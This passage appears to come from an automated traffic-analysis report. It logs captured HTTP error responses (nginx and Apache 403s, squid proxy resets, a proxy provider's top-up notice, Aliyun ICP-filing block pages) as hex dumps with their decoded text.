20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:42:23 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 15:42:23 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:42:23 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:23 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailablex-envoy-overloaded: truecontent-length: 81content-type: text/plaindate: Mon, 11 Mar 2024 15:22:10 GMTserver: svcproxyconnection: closeData Raw: 75 70 73 74 72 65 61 6d 20 63 6f 6e 6e 65 63 74 20 65 72 72 6f 72 20 6f 72 20 64 69 73 63 6f 6e 6e 65 63 74 2f 72 65 73 65 74 20 62 65 66 6f 72 65 20 68 65 61 64 65 72 73 2e 20 72 65 73 65 74 20 72 65 61 73 6f 6e 3a 20 6f 76 65 72 66 6c 6f 77 Data Ascii: upstream connect error or disconnect/reset before headers. reset reason: overflow
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:24 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:25 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 39 32 33 37 32 30 31 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003909237201"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:42:25 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:25 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 36 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314086"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:25 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 33 36 36 32 36 35 30 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003903662650"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 36 31 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313861"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:42:25 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 34 38 33 34 37 32 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" 